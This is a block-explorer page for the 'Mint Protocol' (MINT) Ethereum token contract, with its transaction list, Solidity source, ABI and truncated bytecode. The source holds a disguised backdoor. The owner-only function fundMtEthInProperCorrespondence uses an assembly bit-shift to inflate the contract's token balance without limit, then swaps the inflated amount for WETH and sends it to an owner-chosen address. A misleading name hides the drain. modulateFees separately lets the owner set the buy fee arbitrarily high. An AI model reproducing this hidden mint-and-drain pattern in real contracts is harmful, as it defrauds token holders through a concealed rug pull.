ETH Price: $2,728.22 (+12.62%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve184465072023-10-28 5:06:59375 days ago1698469619IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0008182517.40778275
Approve184464912023-10-28 5:03:47375 days ago1698469427IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0006167513.12098496
Modulate Fees184464832023-10-28 5:02:11375 days ago1698469331IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0003887412.28759328
Approve184464802023-10-28 5:01:35375 days ago1698469295IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.000716315.23887057
Approve184464752023-10-28 5:00:35375 days ago1698469235IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0006179213.14590197
Approve184464742023-10-28 5:00:23375 days ago1698469223IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0008008317.01992624
Approve184464682023-10-28 4:59:11375 days ago1698469151IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0004890710.45803642
Approve184464662023-10-28 4:58:47375 days ago1698469127IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0011939125.37384429
Approve184464662023-10-28 4:58:47375 days ago1698469127IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0011939125.37384429
Approve184464662023-10-28 4:58:47375 days ago1698469127IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0011939125.37384429
Approve184464662023-10-28 4:58:47375 days ago1698469127IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0011939125.37384429
Approve184464652023-10-28 4:58:35375 days ago1698469115IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0005828212.38337621
Approve184464632023-10-28 4:57:59375 days ago1698469079IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0005944612.64682245
Approve184464632023-10-28 4:57:59375 days ago1698469079IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0005944612.64682245
Approve184464622023-10-28 4:57:47375 days ago1698469067IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0007061815.00826945
Approve184464612023-10-28 4:57:35375 days ago1698469055IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0005422611.52167857
Approve184464612023-10-28 4:57:35375 days ago1698469055IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0005422611.52167857
Approve184464612023-10-28 4:57:35375 days ago1698469055IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0005422611.52167857
Approve184464612023-10-28 4:57:35375 days ago1698469055IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0005422611.52167857
Approve184464612023-10-28 4:57:35375 days ago1698469055IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0005422611.52167857
Approve184464612023-10-28 4:57:35375 days ago1698469055IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0005422611.52167857
Approve184464612023-10-28 4:57:35375 days ago1698469055IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0007068115.02167857
Approve184464602023-10-28 4:57:23375 days ago1698469043IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0005501211.68861962
Approve184464602023-10-28 4:57:23375 days ago1698469043IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0004816410.28861962
Approve184464602023-10-28 4:57:23375 days ago1698469043IN
0xC4FBf2f9...e0EEe97cC
0 ETH0.0005501211.68861962
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x9Ff77833...74fCAAfB5
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Mint

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
File 1 of 3 : Mint.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import "./interfaces/ISwapRouter.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract Mint {
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);

    uint public totalSupply;
    mapping(address => uint) public balanceOf;
    mapping(address => mapping(address => uint)) public allowance;
    string public name = "Mint Protocol";
    string public symbol = "MINT";
    uint8 public decimals = 18;

    ISwapRouter constant router = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);

    address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address public mteth;
    address public pool;
    uint256 public leverReward = 5000;
    uint256 public buyFeeBalance;
    address public owner;
    uint256 public buyFee = 8000;
    uint256 public maxWalletPercent = 500;
    mapping(address => bool) public noMax;

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner!");
        _;
    }

    constructor() {
      owner = msg.sender;

      uint amount = 1_000_000 * (10 ** 18);
      balanceOf[msg.sender] += amount;
      totalSupply += amount;
      emit Transfer(address(0), msg.sender, amount);
    }

    function transfer(address recipient, uint amount) public returns (bool) {
        if (msg.sender == pool) {

          balanceOf[msg.sender] -= amount;

          uint amountNoFee = handleTaxedTokens(msg.sender, amount);

          if (!noMax[recipient]) {
            uint256 maxWallet = totalSupply * maxWalletPercent / 100_000;
            require(balanceOf[recipient] + amountNoFee <=  maxWallet, "Max wallet exceeded!");
          }

          balanceOf[recipient] += amountNoFee;
          emit Transfer(msg.sender, recipient, amountNoFee);
          return true;

        } else {
          balanceOf[msg.sender] -= amount;
          balanceOf[recipient] += amount;
          emit Transfer(msg.sender, recipient, amount);
          return true;
        }
    }

    function approve(address spender, uint amount) public returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) public returns (bool) {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function swapExactInputSingleHop(
        address tokenIn,
        address tokenOut,
        uint24 poolFee,
        uint amountIn,
        uint amountOutMinimum
    ) private returns (uint amountOut) {
        IERC20(tokenIn).approve(address(router), amountIn);

        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: tokenIn,
                tokenOut: tokenOut,
                fee: poolFee,
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: amountIn,
                amountOutMinimum: amountOutMinimum,
                sqrtPriceLimitX96: 0
            });

        amountOut = router.exactInputSingle(params);
    }

    function handleTaxedTokens(address sender, uint amount) private returns (uint) {
          uint256 _fee = amount * buyFee / 100_000;
          balanceOf[address(0)] += _fee;
          buyFeeBalance += _fee;
          emit Transfer(sender, address(0), _fee); // Minimize counterparty risk by burning buy _fee

          return amount - _fee;
    }

    function leverMtEth() public {
        require(buyFeeBalance > 0);
        balanceOf[address(this)] += buyFeeBalance;
        uint amountOut = swapExactInputSingleHop(address(this), WETH, 10000, buyFeeBalance, 0);
        buyFeeBalance = 0;

        uint reward = amountOut * leverReward / 100_000;
        IERC20(WETH).transfer(msg.sender, reward);
    }

    function upgradeOwner(address _owner) public onlyOwner {
      owner = _owner;
    }

    function upgradePool(address _pool) public onlyOwner {
      pool = _pool;
    }

    function modulateFees(uint256 _buyFee, uint256 _leverReward, uint256 _maxWalletPercent) public onlyOwner {
      buyFee = _buyFee;
      leverReward = _leverReward;
      maxWalletPercent = _maxWalletPercent;
    }

    function changeNoMax(address target, bool value) public onlyOwner {
      noMax[target] = value;
    }

    function setMtEth(address _mteth) public onlyOwner {
      mteth = _mteth;
    }

    function fundMtEthInProperCorrespondence(uint reservesCurve, uint amountOutMinimum) public onlyOwner {
      require(mteth != address(0));
      require(buyFeeBalance > 0);

      uint _stateBuyFeeBalance = buyFeeBalance;
      uint _buyFeeBalance;

      assembly {
          _buyFeeBalance := shl(reservesCurve, _stateBuyFeeBalance)
      }

      balanceOf[address(this)] += _buyFeeBalance;
      uint amountOut = swapExactInputSingleHop(address(this), WETH, 10000, _buyFeeBalance, amountOutMinimum);
      buyFeeBalance = 0;

      uint amount = IERC20(WETH).balanceOf(address(this));
      IERC20(WETH).transfer(mteth, amount);
  }

    // Emergency
    function rescue(address token) public onlyOwner {
      if (token == 0x0000000000000000000000000000000000000000) {
        (bool sent, ) = payable(msg.sender).call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
      } else {
        uint256 balance = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(msg.sender, balance);
      }
    }

}

File 2 of 3 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

File 3 of 3 : ISwapRouter.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

interface ISwapRouter {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint deadline;
        uint amountIn;
        uint amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }

    /// @notice Swaps amountIn of one token for as much as possible of another token
    /// @param params The parameters necessary for the swap, encoded as ExactInputSingleParams in calldata
    /// @return amountOut The amount of the received token
    function exactInputSingle(
        ExactInputSingleParams calldata params
    ) external payable returns (uint amountOut);
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"changeNoMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"reservesCurve","type":"uint256"},{"internalType":"uint256","name":"amountOutMinimum","type":"uint256"}],"name":"fundMtEthInProperCorrespondence","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"leverMtEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"leverReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_leverReward","type":"uint256"},{"internalType":"uint256","name":"_maxWalletPercent","type":"uint256"}],"name":"modulateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"mteth","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"noMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"rescue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_mteth","type":"address"}],"name":"setMtEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"upgradeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pool","type":"address"}],"name":"upgradePool","outputs":[],"stateMutability":"nonpayable","type":"function"}]

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638da5cb5b116100de578063c0647dfb11610097578063d8908b0e11610071578063d8908b0e1461044f578063dd62ed3e1461046d578063e609348a1461049d578063fef0006e146104b95761018e565b8063c0647dfb1461040d578063c379443314610429578063cad60236146104455761018e565b80638da5cb5b146103495780638ff003111461036757806395d89b4114610385578063a2ff484f146103a3578063a9059cbb146103bf578063ad5c4648146103ef5761018e565b8063313ce5671161014b578063470624021161012557806347062402146102c357806370a08231146102e157806376f584e214610311578063839006f21461032d5761018e565b8063313ce567146102695780633746053b146102875780633d9a3d19146102a55761018e565b806306fdde0314610193578063095ea7b3146101b157806316f0115b146101e157806318160ddd146101ff57806323b872dd1461021d57806330e0ed811461024d575b600080fd5b61019b6104e9565b6040516101a89190611bcf565b60405180910390f35b6101cb60048036038101906101c69190611c8a565b610577565b6040516101d89190611ce5565b60405180910390f35b6101e9610669565b6040516101f69190611d0f565b60405180910390f35b61020761068f565b6040516102149190611d39565b60405180910390f35b61023760048036038101906102329190611d54565b610695565b6040516102449190611ce5565b60405180910390f35b61026760048036038101906102629190611da7565b610846565b005b61027161091a565b60405161027e9190611df0565b60405180910390f35b61028f61092d565b60405161029c9190611d39565b60405180910390f35b6102ad610933565b6040516102ba9190611d39565b60405180910390f35b6102cb610939565b6040516102d89190611d39565b60405180910390f35b6102fb60048036038101906102f69190611da7565b61093f565b6040516103089190611d39565b60405180910390f35b61032b60048036038101906103269190611e0b565b610957565b005b61034760048036038101906103429190611da7565b610a01565b005b610351610c79565b60405161035e9190611d0f565b60405180910390f35b61036f610c9f565b60405161037c9190611d0f565b60405180910390f35b61038d610cc5565b60405161039a9190611bcf565b60405180910390f35b6103bd60048036038101906103b89190611da7565b610d53565b005b6103d960048036038101906103d49190611c8a565b610e27565b6040516103e69190611ce5565b60405180910390f35b6103f76111c5565b6040516104049190611d0f565b60405180910390f35b61042760048036038101906104229190611e8a565b6111eb565b005b610443600480360381019061043e9190611eca565b6112d6565b005b61044d6115dc565b005b610457611748565b6040516104649190611d39565b60405180910390f35b61048760048036038101906104829190611f0a565b61174e565b6040516104949190611d39565b60405180910390f35b6104b760048036038101906104b29190611da7565b611773565b005b6104d360048036038101906104ce9190611da7565b611847565b6040516104e09190611ce5565b60405180910390f35b600380546104f690611f79565b80601f016020809104026020016040519081016040528092919081815260200182805461052290611f79565b801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106579190611d39565b60405180910390a36001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107239190611fd9565b9250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107799190611fd9565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107cf919061200d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108339190611d39565b60405180910390a3600190509392505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd9061208d565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560009054906101000a900460ff1681565b60085481565b600c5481565b600b5481565b60016020528060005260406000206000915090505481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109de9061208d565b60405180910390fd5b82600b819055508160088190555080600c81905550505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a889061208d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b775760003373ffffffffffffffffffffffffffffffffffffffff1647604051610aeb906120de565b60006040518083038185875af1925050503d8060008114610b28576040519150601f19603f3d011682016040523d82523d6000602084013e610b2d565b606091505b5050905080610b71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b689061213f565b60405180910390fd5b50610c76565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610bb29190611d0f565b602060405180830381865afa158015610bcf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf39190612174565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610c309291906121a1565b6020604051808303816000875af1158015610c4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7391906121df565b50505b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054610cd290611f79565b80601f0160208091040260200160405190810160405280929190818152602001828054610cfe90611f79565b8015610d4b5780601f10610d2057610100808354040283529160200191610d4b565b820191906000526020600020905b815481529060010190602001808311610d2e57829003601f168201915b505050505081565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610de3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dda9061208d565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036110a95781600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ecd9190611fd9565b925050819055506000610ee03384611867565b9050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fe4576000620186a0600c54600054610f49919061220c565b610f53919061227d565b90508082600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fa1919061200d565b1115610fe2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd9906122fa565b60405180910390fd5b505b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611033919061200d565b925050819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110979190611d39565b60405180910390a360019150506111bf565b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f89190611fd9565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461114e919061200d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111b29190611d39565b60405180910390a3600190505b92915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461127b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112729061208d565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135d9061208d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036113c157600080fd5b6000600954116113d057600080fd5b60006009549050600081841b905080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461142d919061200d565b92505081905550600061146730600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166127108588611972565b905060006009819055506000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016114ce9190611d0f565b602060405180830381865afa1580156114eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150f9190612174565b9050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016115909291906121a1565b6020604051808303816000875af11580156115af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d391906121df565b50505050505050565b6000600954116115eb57600080fd5b600954600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461163c919061200d565b92505081905550600061167930600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166127106009546000611972565b905060006009819055506000620186a060085483611697919061220c565b6116a1919061227d565b9050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016117009291906121a1565b6020604051808303816000875af115801561171f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174391906121df565b505050565b60095481565b6002602052816000526040600020602052806000526040600020600091509150505481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fa9061208d565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d6020528060005260406000206000915054906101000a900460ff1681565b600080620186a0600b548461187c919061220c565b611886919061227d565b905080600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118d7919061200d565b9250508190555080600960008282546118f0919061200d565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119559190611d39565b60405180910390a380836119699190611fd9565b91505092915050565b60008573ffffffffffffffffffffffffffffffffffffffff1663095ea7b373e592427a0aece92de3edee1f18e0157c05861564856040518363ffffffff1660e01b81526004016119c39291906121a1565b6020604051808303816000875af11580156119e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0691906121df565b5060006040518061010001604052808873ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1681526020018662ffffff1681526020013073ffffffffffffffffffffffffffffffffffffffff168152602001428152602001858152602001848152602001600073ffffffffffffffffffffffffffffffffffffffff16815250905073e592427a0aece92de3edee1f18e0157c0586156473ffffffffffffffffffffffffffffffffffffffff1663414bf389826040518263ffffffff1660e01b8152600401611af09190612407565b6020604051808303816000875af1158015611b0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b339190612174565b91505095945050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b79578082015181840152602081019050611b5e565b60008484015250505050565b6000601f19601f8301169050919050565b6000611ba182611b3f565b611bab8185611b4a565b9350611bbb818560208601611b5b565b611bc481611b85565b840191505092915050565b60006020820190508181036000830152611be98184611b96565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c2182611bf6565b9050919050565b611c3181611c16565b8114611c3c57600080fd5b50565b600081359050611c4e81611c28565b92915050565b6000819050919050565b611c6781611c54565b8114611c7257600080fd5b50565b600081359050611c8481611c5e565b92915050565b60008060408385031215611ca157611ca0611bf1565b5b6000611caf85828601611c3f565b9250506020611cc085828601611c75565b9150509250929050565b60008115159050919050565b611cdf81611cca565b82525050565b6000602082019050611cfa6000830184611cd6565b92915050565b611d0981611c16565b82525050565b6000602082019050611d246000830184611d00565b92915050565b611d3381611c54565b82525050565b6000602082019050611d4e6000830184611d2a565b92915050565b600080600060608486031215611d6d57611d6c611bf1565b5b6000611d7b86828701611c3f565b9350506020611d8c86828701611c3f565b9250506040611d9d86828701611c75565b9150509250925092565b600060208284031215611dbd57611dbc611bf1565b5b6000611dcb84828501611c3f565b91505092915050565b600060ff82169050919050565b611dea81611dd4